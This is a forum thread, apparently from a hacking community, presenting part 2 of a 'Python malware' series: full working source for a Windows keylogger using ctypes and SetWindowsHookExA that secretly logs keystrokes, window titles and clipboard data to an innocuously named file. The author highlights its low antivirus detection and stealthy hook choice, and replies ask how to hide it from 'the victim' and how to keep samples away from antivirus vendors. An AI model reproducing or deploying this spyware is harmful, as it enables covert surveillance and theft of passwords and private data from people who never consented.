Malware writing - Python malware, part 2: Keylogging with ctypes and SetWindowsHookExA

winapi
malware
python
programming
hacking

#1

Malware writing series - Python Malware, part 2

Following @dtm’s comment regarding GetAsyncKeyState being responsible for the crazy CPU usage in part 1, I decided to follow his recommendation and use SetWindowHookExA. Initially, this was supposed to be a simple introduction to ctypes. I wasn’t planning to write a second version of the keylogger with ctypes, but I changed my mind. Using SetWindowHookExA is much better and brought the CPU usage down two zero. But also, after searching for a keylogger fully written with ctypes, I couldn’t find anything decent. Might as well make one.

Unfortunately it is much more complicated too. I tried multiple packages such as keyboard and pynput but both were very buggy and unreliable. Pynput couldn’t print special characters such as +, -, %, ^, etc. Keyboard has a bug were, then typing too fast, letters are missing. The package also have over 100 unresolved issues. The only maintainer appears to have abandoned the project. PyHook is just not an option. There are unofficial packages but Python 3 but they don’t contain bug fixes. The package is simply not reliable enough to use and will make the keylogger crash.

Therefore, I had no choice but to write everything from scratch.

So in this part, we’ll rewrite the keylogger to use SetWindowsHookEx. It’s going to be a lot more complicated but will give us a deeper understanding on how to use ctypes to interact with the WinAPI.

Let’s start.

Writing a keylogger in Python from scratch with ctypes

What is a hook? From MSDN: “A hook is a point in the system message-handling mechanism where an application can install a subroutine to monitor the message traffic in the system and process certain types of messages before they reach the target window procedure.”

In simple terms, you hit a key, the hook intercepts the keyboard event.

We start by importing the required packages, load user32.dll and kernel32.dll, set up logging and create the variables to hold the text, the windows titles and keys pressed.

from ctypes import *
from ctypes.wintypes import DWORD, LPARAM, WPARAM, MSG
import logging
import os

logging.basicConfig(filename=(os.environ['localappdata'] +"\\" + 'applog.txt'), level=logging.DEBUG, format='%(message)s')

# Load the required librairies
user32 = windll.user32
kernel32 = windll.kernel32


current_window = None   # Holds the current window title
current_clipboard = []  # Holds the current clipboard content
last_key = None         # Holds the last key pressed
line = ""               # Holds the lines of keyboard characters pressed

The hooking function we’re going to use are SetWindowsHookExA, UnhookWindowsHookEx and CallNextHookEx. We also need a class to use as data structure to hold the data from keyboard input events received from the KBDLLHOOKSTRUCT struct.

First, we must declare some constants that will be required later when calling WinAPI functions.

WH_KEYBOARD_LL = 13     # Hook ID to pass to SetWindowsExA
WM_KEYDOWN = 0x0100     # VM_KEYDOWN message code
HC_ACTION = 0           # Parameter for KeyboardProc callback function

SetWindowsHookExA needs to know what type of hook it has to set. We need to pass the hook ID as first argument. In this case, we use WH_KEYBOARD_LL because, unlike WH_KEYBOARD, it does not require to inject a DLL in the processes and therefore is hard to catch.

WM_KEYDOWN tells us when a non-system key is pressed.

HC_ACTION is an argument to pass to the KeyboardProc callback functions.

After, we have to map the virtual keys to their respective hex values and create the HOOKPROC callback function. Then we create a pointer that points to the callback function. This pointer is later passed as argument to SetWindowsHookExA.

# VIRTUAL KEYS CODES: Needed to handle special keys such as CTRL or RETURN
# Reference: http://nehe.gamedev.net/article/msdn_virtualkey_codes/15009/
VIRTUAL_KEYS = {'RETURN': 0x0D,
                'CONTROL': 0x11,
                'SHIFT': 0x10,
                'MENU': 0x12,
                'TAB': 0x09,
                'BACKSPACE': 0x08,
                'CLEAR': 0x0C,
                'CAPSLOCK': 0x14,
                'ESCAPE': 0x1B,
                'HOME': 0x24,
                'INS': 0x2D,
                'DEL': 0x2E,
                'END': 0x23,
                'PRINTSCREEN': 0x2C,
                'CANCEL': 0x03
                }

HOOKPROC = WINFUNCTYPE(HRESULT, c_int, WPARAM, LPARAM) # Callback function

The virtual keys are needed to detect special keys pressed such as ENTER, SHIFT, etc. I did not include all of them, because the list is extensive but you can add more if you wish to log more. Just visit the reference in the code, above the variable name, to get all the hex values.

We use the WINFUNCTYPE factory ctypes function to create the HOOKPROC callback function.

Then, we need a data structure to hold information about the keyboard input events. We just need to replicate the structure provided by MSDN here: https://docs.microsoft.com/en-us/windows/desktop/api/winuser/ns-winuser-tagkbdllhookstruct

class KBDLLHOOKSTRUCT(Structure): _fields_=[ 
    ('vkCode',DWORD),
    ('scanCode',DWORD),
    ('flags',DWORD),
    ('time',DWORD),
    ('dwExtraInfo',DWORD)]

Now we have everything we need to start! This time, we will make a class named hook that will monitor the keyboard events by installing a hook.

class hook:
    """
    Class for installing/uninstalling a hook
    """

    def __init__(self):
        """
        Constructor for the hook class.

        Responsible for allowing methods to call functions from
        user32.dll and kernel32.dll.
        """
        self.user32 = user32
        self.kernel32 = kernel32
        self.is_hooked = None


    def install_hook(self, ptr):
        """
        Method for installing hook.

        Arguments
            ptr: pointer to the HOOKPROC callback function
        """
        self.is_hooked = self.user32.SetWindowsHookExA(
            WH_KEYBOARD_LL,
            ptr,
            kernel32.GetModuleHandleW(None),
            0
        )

        if not self.is_hooked:
            return False
        return True

    def uninstall_hook(self):
        """
        Method for uninstalling the hook.
        """

        if self.is_hooked is None:
            return
        self.user32.UnhookWindowsHookEx(self.is_hooked)
        self.is_hooked = None

We need to start with the constructor that will allow methods to call user32.dll and kernel32.dll functions. We also need to declare the variable is_hooked that will hold the handle to the hook procedure returned by SetWindowsHookExA.

We then proceed with creating the method install_hook that, as the name says, will install the hook calling SetWindowsHookExA, passing the hook ID (type of hook) and the pointer to the callback function as argument. The returned value is the handle to the hook procedure that we store in is_hooked.

Finally, we create the function uninstall_hook (optional) to uninstall the hook. Useful when testing the keylogger.

Then, we take our previously written get_current_window() and get_clipboard() functions from Part 1.

def get_current_window(): # Function to grab the current window and its title

    GetForegroundWindow = user32.GetForegroundWindow
    GetWindowTextLength = user32.GetWindowTextLengthW
    GetWindowText = user32.GetWindowTextW

    hwnd = GetForegroundWindow() # Get handle to foreground window
    length = GetWindowTextLength(hwnd) # Get length of the window text in title bar
    buff = create_unicode_buffer(length + 1) # Create buffer to store the window title string
    
    GetWindowText(hwnd, buff, length + 1) # Get window title and store in buff

    return buff.value # Return the value of buff

def get_clipboard():
    
    CF_TEXT = 1 # Set clipboard format

    # Argument and return types for GlobalLock/GlobalUnlock.
    kernel32.GlobalLock.argtypes = [c_void_p]
    kernel32.GlobalLock.restype = c_void_p
    kernel32.GlobalUnlock.argtypes = [c_void_p]

    # Return type for GetClipboardData
    user32.GetClipboardData.restype = c_void_p
    user32.OpenClipboard(0)
    
    # Required clipboard functions
    IsClipboardFormatAvailable = user32.IsClipboardFormatAvailable
    GetClipboardData = user32.GetClipboardData
    CloseClipboard = user32.CloseClipboard

    try:
        if IsClipboardFormatAvailable(CF_TEXT): # If CF_TEXT is available
            data = GetClipboardData(CF_TEXT) # Get handle to data in clipboard
            data_locked = kernel32.GlobalLock(data) # Get ptr to memory location where the data is located
            text = c_char_p(data_locked) # Get a char * ptr (string in Python) to the location of data_locked
            value = text.value # Dump the content in value
            kernel32.GlobalUnlock(data_locked) # Decrement de lock count
            return value.decode('latin1') # Return the clipboard content
    finally:
        CloseClipboard() # Close the clipboard

Now it’s time to write the hook procedure that this called every time a keyboard event occurs.

def hook_procedure(nCode, wParam, lParam):

    # Need to be global so they're not emptied at every key pressed
    global last_key
    global current_clipboard
    global line
    global current_window

We have to specify to the function that the variables we previously created are global and that they can be accessed by this function. The reason why we can’t use local variables is that, whenever a key is pressed, the hook_procedure function is executed and therefore, the local variables will be cleared at every key pressed. That’s not very useful if we want to use them to compared the last key, last window or last clipboard data.

Then, like in Part 1, we need to know what is the current window opened when the user is typing so we have some context and know how to use the data we retrieve.

    if current_window != get_current_window():
        current_window = get_current_window()
        logging.info('[WINDOW] ' + current_window)
    
    
    # Remove comments below if you want to the possibility to uninstall the hook when testing.
    """
    if user32.GetKeyState(VIRTUAL_KEYS['CONTROL']) & 0x8000:
        hook.uninstall_hook()
        return 0
    """

Optionally, we can use a function to uninstall the hook whenever a specific key is pressed (CONTROL here). Now we can start writing the keylogging routine triggered at every key pressed.

    if nCode == HC_ACTION and wParam == WM_KEYDOWN:

        kb = KBDLLHOOKSTRUCT.from_address(lParam)
        user32.GetKeyState(VIRTUAL_KEYS['SHIFT'])
        user32.GetKeyState(VIRTUAL_KEYS['MENU'])
        state = (c_char * 256)()
        user32.GetKeyboardState(byref(state))
        buff = create_unicode_buffer(8)
        n = user32.ToUnicode(kb.vkCode, kb.scanCode, state, buff, 8 - 1, 0)
        key = wstring_at(buff)     # Key pressed as buffer

The logic here is that, when a key is pressed, we use from_address to take the information about the keyboard event and store it in the kb variable as a data structure, using the previously created KBDLLHOOKSTRUCT class. The we create a state variable of size 256 to hold the state of all 256 virtual keys. This is done by calling the GetKeyboardState() function.

Then, we declare a buff variable to create a unicode character buffer (an array of values with the wchar datatype). We then use ToUnicode function from user32.dll to translate the virtual key code or keyboard state to a unicode character, and the wstring_at() function to store the characters as 1-character unicode string.

ToUnicode can return one of four values: 1, a dead key, 0, for which there is no translation, - 1, a character and - 2 ≤ value, two or more characters.

The returned value is being stored in n. So every time a key is pressed, the hook procedure stores the return value and we can use this to determine whether or not we want to log the character or not. As long as n is larger than 0, we want to log the key pressed.

        if n > 0:

            # Avoid logging weird characters. If they show up,
            # get the hex code here http://asciivalue.com/index.php
            # and add to VIRTUAL_KEYS
            if kb.vkCode not in VIRTUAL_KEYS.values():
                line += key

            for key, value in VIRTUAL_KEYS.items(): 
                if kb.vkCode == value:
                    logging.info(key)

            if kb.vkCode == VIRTUAL_KEYS['RETURN']:
                logging.info(line)
                line = ""

            if current_clipboard != get_clipboard():
                current_clipboard = get_clipboard()
                logging.info('[CLIPBOARD] ' + current_clipboard + '\n')

    return user32.CallNextHookEx(hook.is_hooked, nCode, wParam, c_ulonglong(lParam))

The rest is pretty simple. We start by logging any key. The key is appended to the line variable to create a full, easily readable line.

Then, if RETURN is pressed, we log the line and clear the line variable.

Finally, we check the current status of the clipboard. If there is new data in the clipboard, we log that data. Then we pass the hook information to the next hook procedure with CallNextHookEx. And it continues again and again.

That’s about it! All we have to do is:
- Create an instance of the hook() class
- Create the pointer with ptr
- Install the hook with install_hook(ptr)
- Wait for system messages to be intercepted by the hook

hook = hook()                           # Hook class
ptr = HOOKPROC(hook_procedure)          # Pointer to the callback function
hook.install_hook(ptr)                  # Installing hook
msg = MSG()
user32.GetMessageA(byref(msg), 0, 0, 0)

Look at that CPU usage!

Look at that detection rate!


https://www.virustotal.com/#/file/7b0a3c98ca34e62b9057c6abd8071887937a9d9140d1d0eca67da7559ab69a39/detection

I don’t know who the fuck uses Jiangmin anyway.

There’s one issue I am working on at the moment and I’ll update the code and the post when I find a solution. PyInstaller seems to have poor support for either ctypes or the logging library. Therefore, it creates the file on disk at execution but isn’t writing in it. I’m currently looking and testing alternatives and will update accordingly.

There are other ways to build a standalone executable but we will cover these later. PyInstaller is my favorite because I use it for many other things, therefore I really want to find a solution!

In part 3, we will look at how to dump credentials with standard user privileges. This time it’s going to be a lot simpler. We will use PyWin32 so it’s unlikely that we’ll have to write any WinAPI calls from scratch. I don’t even think we’ll need ctypes period.

You’ll find the complete keylogger code below and here: https://github.com/tr4cefl0w/0x00sec/tree/master/python-malware

Thanks to @dtm for the tip and to that guy on HackerThreads showing how create a hook with Python (kind of).

# KEYLOGGER WITH CTYPES AND SETWINDOWSHOOKEX FROM MY 0X00SEC POST.
# THIS IS A PROOF-OF-CONCEPT AND I AM NOT RESPONSIBLE FOR ANY 
# USAGE OF THIS CODE OR MALICIOUS PURPOSE.

from ctypes import *
from ctypes.wintypes import DWORD, LPARAM, WPARAM, MSG
import logging
import os

logging.basicConfig(filename=(os.environ['localappdata'] +"\\" + 'applog.txt'), 
                    level=logging.DEBUG, format='%(message)s')

# Load the required librairies
user32 = windll.user32
kernel32 = windll.kernel32


current_window = None   # Holds the current window title
current_clipboard = []  # Holds the current clipboard content
last_key = None         # Holds the last key pressed
line = ""               # Holds the lines of keyboard characters pressed


WH_KEYBOARD_LL = 13     # Hook ID to pass to SetWindowsExA
WM_KEYDOWN = 0x0100     # VM_KEYDOWN message code
HC_ACTION = 0           # Parameter for KeyboardProc callback function

# VIRTUAL KEYS CODES: Needed to handle special keys such as CTRL or RETURN
# Reference: http://nehe.gamedev.net/article/msdn_virtualkey_codes/15009/
VIRTUAL_KEYS = {'RETURN': 0x0D,
                'CONTROL': 0x11,
                'SHIFT': 0x10,
                'MENU': 0x12,
                'TAB': 0x09,
                'BACKSPACE': 0x08,
                'CLEAR': 0x0C,
                'CAPSLOCK': 0x14,
                'ESCAPE': 0x1B,
                'HOME': 0x24,
                'INS': 0x2D,
                'DEL': 0x2E,
                'END': 0x23,
                'PRINTSCREEN': 0x2C,
                'CANCEL': 0x03,
                'BACK': 0x08,
                'LBUTTON': 0x01
                }

HOOKPROC = WINFUNCTYPE(HRESULT, c_int, WPARAM, LPARAM) # Callback function

class KBDLLHOOKSTRUCT(Structure): _fields_=[ 
    ('vkCode',DWORD),
    ('scanCode',DWORD),
    ('flags',DWORD),
    ('time',DWORD),
    ('dwExtraInfo',DWORD)]

class hook:
    """
    Class for installing/uninstalling a hook
    """

    def __init__(self):
        """
        Constructor for the hook class.

        Responsible for allowing methods to call functions from
        user32.dll and kernel32.dll.
        """
        self.user32 = user32
        self.kernel32 = kernel32
        self.is_hooked = None


    def install_hook(self, ptr):
        """
        Method for installing hook.

        Arguments
            ptr: pointer to the HOOKPROC callback function
        """
        self.is_hooked = self.user32.SetWindowsHookExA(
            WH_KEYBOARD_LL,
            ptr,
            kernel32.GetModuleHandleW(None),
            0
        )

        if not self.is_hooked:
            return False
        return True

    def uninstall_hook(self):
        """
        Method for uninstalling the hook.
        """

        if self.is_hooked is None:
            return
        self.user32.UnhookWindowsHookEx(self.is_hooked)
        self.is_hooked = None


def get_current_window(): # Function to grab the current window and its title

    GetForegroundWindow = user32.GetForegroundWindow
    GetWindowTextLength = user32.GetWindowTextLengthW
    GetWindowText = user32.GetWindowTextW

    hwnd = GetForegroundWindow() # Get handle to foreground window
    length = GetWindowTextLength(hwnd) # Get length of the window text in title bar
    buff = create_unicode_buffer(length + 1) # Create buffer to store the window title buff
    
    GetWindowText(hwnd, buff, length + 1) # Get window title and store in buff

    return buff.value # Return the value of buff

def get_clipboard():
    
    CF_TEXT = 1 # Set clipboard format

    # Argument and return types for GlobalLock/GlobalUnlock.
    kernel32.GlobalLock.argtypes = [c_void_p]
    kernel32.GlobalLock.restype = c_void_p
    kernel32.GlobalUnlock.argtypes = [c_void_p]

    # Return type for GetClipboardData
    user32.GetClipboardData.restype = c_void_p
    user32.OpenClipboard(0)
    
    # Required clipboard functions
    IsClipboardFormatAvailable = user32.IsClipboardFormatAvailable
    GetClipboardData = user32.GetClipboardData
    CloseClipboard = user32.CloseClipboard

    try:
        if IsClipboardFormatAvailable(CF_TEXT): # If CF_TEXT is available
            data = GetClipboardData(CF_TEXT) # Get handle to data in clipboard
            data_locked = kernel32.GlobalLock(data) # Get ptr to memory location where the data is located
            text = c_char_p(data_locked) # Get a char * ptr (buff in Python) to the location of data_locked
            value = text.value # Dump the content in value
            kernel32.GlobalUnlock(data_locked) # Decrement de lock count
            return value.decode('latin1') # Return the clipboard content
    finally:
        CloseClipboard() # Close the clipboard

def hook_procedure(nCode, wParam, lParam):
    """
    Hook procedure to monitor and log keyboard events.

    Arguments:
        nCode       = HC_ACTION code
        wParam      = Keyboard event message code
        lParam      = Address of keyboard input event

    """

    # Need to be global so they're not emptied at every key pressed
    global last_key
    global current_clipboard
    global line
    global current_window

    if current_window != get_current_window():
        current_window = get_current_window()
        logging.info('[WINDOW] ' + current_window)
    
    
    # Remove comments below if you want to the possibility to uninstall the hook when testing.
    """
    if user32.GetKeyState(VIRTUAL_KEYS['CONTROL']) & 0x8000:
        hook.uninstall_hook()
        return 0
    """

    if nCode == HC_ACTION and wParam == WM_KEYDOWN:

        kb = KBDLLHOOKSTRUCT.from_address(lParam)
        user32.GetKeyState(VIRTUAL_KEYS['SHIFT'])
        user32.GetKeyState(VIRTUAL_KEYS['MENU'])
        state = (c_char * 256)()
        user32.GetKeyboardState(byref(state))
        buff = create_unicode_buffer(8)
        n = user32.ToUnicode(kb.vkCode, kb.scanCode, state, buff, 8 - 1, 0)
        key = wstring_at(buff)     # Key pressed as buffer
        if n > 0:

            # Avoid logging weird characters. If they show up,
            # get the hex code here http://asciivalue.com/index.php
            # and add to VIRTUAL_KEYS
            if kb.vkCode not in VIRTUAL_KEYS.values():
                line += key

            for key, value in VIRTUAL_KEYS.items(): 
                if kb.vkCode == value:
                    logging.info(key)

            if kb.vkCode == VIRTUAL_KEYS['RETURN']:
                logging.info(line)
                line = ""

            if current_clipboard != get_clipboard():
                current_clipboard = get_clipboard()
                logging.info('[CLIPBOARD] ' + current_clipboard + '\n')

    return user32.CallNextHookEx(hook.is_hooked, nCode, wParam, c_ulonglong(lParam))

hook = hook()                           # Hook class
ptr = HOOKPROC(hook_procedure)          # Pointer to the callback function
hook.install_hook(ptr)                  # Installing hook
msg = MSG()                             # MSG data structure
user32.GetMessageA(byref(msg), 0, 0, 0) # Wait for messages to be posted

EDIT 1: Added support for special characters and removed a sentence related to that issue.
EDIT 2: Fixed some typos
EDIT 3: Changed the link to the Github repo as the structure changed.
EDIT 4: Fixed typo in code snippet.
References:
http://www.hackerthreads.org/Topic-42395






http://www.winprog.org/tutorial/message_loop.html


Python Windows Keylogger
#2

The a pip module keyboard can be buggy, but I spent some time working with it and developed a keylogger with it, I found that it was not that bad of a library. Although the API documentation was not the best, albeit. I was planning on posting about it recently. Care to discuss ideas via PM?


#3

Sure man, feel free to message me anytime. I’m on the IRC server and Discord too, same username. Something higher level would have been better as I wanted this to be more of an intro but I felt I didn’t had much choice this time lol


#4

Trying to get this working on my windows 10 box.
Error line 206 in hook_procedure
return user32.CallNextHookEx(hook.is_hooked, nCode, wParam, c_ulonglong(1Param))
ValueError: Procedure probably called with too many arguments (4 bytes in excess)

What do you think this could be? I’m stumped


#5

My guess is that you’re using Python 3.x 32-bit instead of 64-bit. Are you running Windows 10 32-bit? Else, use Python 64-bit. Because I’m developing on 64-bit, I typecast 1Param as c_ulonglong. You just have to change it to c_ulong and it should work.


#6

You;re the man dude, thank you. Love your project btw


(Lulumichen) #7

what about making it hidden from the victim? what code should we put and where?


#8

I’ve written a batch file for “installing” my malware on the user’s system. It hides the folders and does the first parts of work for me.


#9

That will be covered in a later part.


(Lulumichen) #10

thanks, also I ran the file and it didn’t let me type anything so I had to restart my computer and delete the program, it still logged it though.


#11

Find a typo here

and what’s the use of these two lines of code?


#12

Hi guys, I read in some places not to put files in the virustotal because it divulges the information with some companies of antivirus and some antivirus that does not recognize the malware / trojan begin to identify. I always post on http://www.nodistribute.com/.
I would like to know the members here, because I have already seen some posts of members uploading in Virustotal.


#13

Hey thanks for reporting the typo. It’s fixed.